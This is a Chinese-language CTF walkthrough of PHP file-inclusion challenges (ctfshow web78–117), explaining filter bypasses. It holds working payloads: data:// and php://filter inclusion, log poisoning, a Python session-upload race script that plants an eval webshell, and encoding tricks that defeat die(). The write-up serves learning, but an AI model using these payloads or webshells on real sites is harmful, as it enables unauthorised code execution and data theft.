什么是文件包含
和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。
什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。
有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
以PHP为例,常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()
区别如下:
require():找不到会被……包含产生致命错误,并停止脚本运行
include():找不到会被……包含产生警告,脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
web78
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
没有任何过滤,直接传
?file=data://text/plain,<?php system("cat flag.php");?>
查看页面源代码就会有flag
data://是伪协议
具体参考:CTF常用伪协议总结_Asionm的博客-CSDN博客_ctf伪协议
web79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
可以看到php被???代替了
可以使用base64
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
可以看出php好data都被代替了
这里可以进行日志包含:通过User-Agent头部注入命令:
然后post传参,找flag位置
?file=/var/log/nginx/access.log
找到
然后post传参
a=system('cat fl0g.php');
查看页面源代码即可找到flag
web81
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这道题替换了data,php,:
和上一题一样
web82
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这道题的过滤无法使用日志包含。
PHP里面唯一我们能控制的没有后缀的文件就是session文件
利用PHP_SESSION_UPLOAD_PROGRESS写入session文件加条件竞争达到文件包含的目的。
1、post一个与ini中设置的session.upload_progress.name的同名变量(默认的name为“PHP_SESSION_UPLOAD_PROGRESS”),那么就会返回上传文件的实时进度并写入session文件中。session文件的内容为:(它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefix与 session.upload_progress.name连接在一起的值)
2、如果我们post传递PHP_SESSION_UPLOAD_PROGRESS的值为一句话木马
比如为:<?php system('ls');?>
3、同时,我们在cookie里面设置名字:PHPSESSID,值:flag,(目的是设置session文件,因为这样我们才能知道实时进度(一句话木马)上传到哪里了);那么在/tem/sess_flag这个文件的内容就为upload_progress_<?php system('ls')?>。然后在include(/tem/sess_flag)就会执行后面的php代码从而成功执行rce。
4、虽然文件上传结束后,php会清空session文件中的内容,但是如果我们边上传边去访问/tem/sess_aaa进行条件竞争,那么就有可能在删除session文件前访问到这个文件。
脚本方法
脚本
import requests
import io
import threading
url='http://08d4a04e-19b3-4049-8a81-e9c6226eee2f.challenge.ctf.show:8080/'
#设置PHPSESSID的值
sessionid='ctfshow'
data={"1":"file_put_contents('/var/www/html/tao.php','<?php eval($_POST[2]);?>');"}
#为了进行条件竞争,需要一边写一边读
#进行上传文件时需要post传递名为PHP_SESSION_UPLOAD_PROGRESS值为一句话木马
def write(session):
fileBytes = io.BytesIO(b'a'*1024*50) #生产一个50k的文件
while True:
response=session.post(url,
data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'},
cookies={'PHPSESSID':sessionid},
files={'file':('ctfshow.jpg',fileBytes)} #设置文件名字和内容
)
#读取session文件,这里文件为/tmp/sess_ctfshow
def read(session):
while True:
response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data)
response2=session.get(url+'tao.php');
if response2.status_code==200:
print('++++++++++++++++++++')
else:
print(response2.status_code)
if __name__=='__main__':
#开启多线程进行竞争
evnet=threading.Event()
with requests.session() as session:
for i in range(20):
threading.Thread(target=write,args=(session,)).start()
for i in range(20):
threading.Thread(target=read,args=(session,)).start()
evnet.set()
出现+号后然后访问url/tao.php。post传参2=system('tac fl0g.php');
web83
session_unset();
session_destroy();
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
<!DOCTYPE html>
<html>
<body>
<form action="http://44a86596-324d-4eaa-8051-6e323bd0814a.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls');?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
创建一个1.html,写入上面的代码
搭建本地环境,进入1.html,上传的文件随意
使用bp抓包
在cookie处添加:PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag
发送到爆破模块,以上为第一个包
来到题目页面,传参?file=/tmp/sess_flag,同时抓包
发送到爆破模块。为第二个包
两个同时开始发包
访问fl0g.php即可
web84-86
同上
web87
方法一:
题目中的die是绕过的重点
对其使用base64解码绕过
?file=php://filter/write=convert.base64-decode/resource=flag.php
base64转换后的字符串的数量肯定是4的倍数, 不足4的末尾补‘=’
分析:
向文件输入内容的时候会在开头写入死亡函数,从而导致直接结束代码的执行,我们要做的就是绕过这个死亡函数。
编码时,转换成Base64的最小单位就是3个字节
解码时,4个字节为一组;PHP在解码base64时,遇到不在其中的字符时,将会忽略这些字符,仅将合法字符组成一个新的字符串进行解码(Base64的字符选用了"A-Z、a-z、0-9、+、/" 64个可打印字符)所以,通过base64解码过滤之后就只有 phpdie6 个字符我们就要添加2个字符让phpdie和我们增加的两个字符组合起来进行解码。即可抹掉死亡函数。
其次:因为filename那里需要urldecode,而get传参的时候会进行一次urldecode,所以我们的filename需要两次urlencode。?file=php://filter/write=convert.base64-decode/resource=1.php这里需要进行url全编码,不然php会被过滤掉。
将<?php eval($_POST[1]);?>进行base64编码为:PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
注意如果直接传入content,这里的+会被当做空格处理,所以在base64解码的时候就会忽略空格,自动在后面加上一个=:即PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8=
解码后:<?php eval($_POST[1]);? 这样传进去就会报错
解决方法:将+进行urlencode
payload:?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30
//即?file=php://filter/write=convert.base64-decode/resource=1.php
//对写的内容进行base64编码。
post:content=aaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B
//<?php eval($_POST[1]);?>
//这里加上两个a是为两和phpdie组成8个字符进行解码。
最后访问1.php、post输入system('tac fl0g.php');即可
方法2:
利用rot13编码
条件:在PHP不开启short_open_tag(短标签)时
payload:
?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%33%25%32%45%25%37%30%25%36%38%25%37%30
//?file=php://filter/write=string.rot13/resource=3.php
//对写的内容进行rot13编码。
content=<?cuc riny($_CBFG[1]);?>
//<?php eval($_POST[1]);?>
//rot13两次解码后会变成原来的样子。所以我们将传入的content进行一次rot13编码,然后在写入3.php的时候在进行rot13编码,那么写入文件的时候就会写入<?php eval($_POST[1]);?>。
//而<?php die('大佬别秀了');?>只会进行一次rot13编码,写入文件的时候就不是一个正常的php代码格式。
web88
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
分析:
这里没有过滤data且没有过滤:。所以我们可以使用data协议
方法:
payload:
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ21vbmljYSddKTs/Pnh4
post:monica=system('tac f*');
//?file=data://text/plain;base64,<?php eval($_POST['monica']);?>xx
这里在后面添加两个xx是为了不让后面的php代码base64加密之后出现=,有几个=就加几个字符(其实也可以直接将=删除,因为base64在解码的时候会自动删除=)。如果加密后出现出现+就只能换一个php代码。
web116
?file=flag.php
抓包
web117
分析:没有过滤php,那么我们就可以通过php://filter/write来写入文件,然后通过编码绕过死亡函数,因为这里过滤了base64和rot13,string,所以得用其他的编码。
payload:
get: ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?
然后访问a.php
post:1=system('tac flag.php');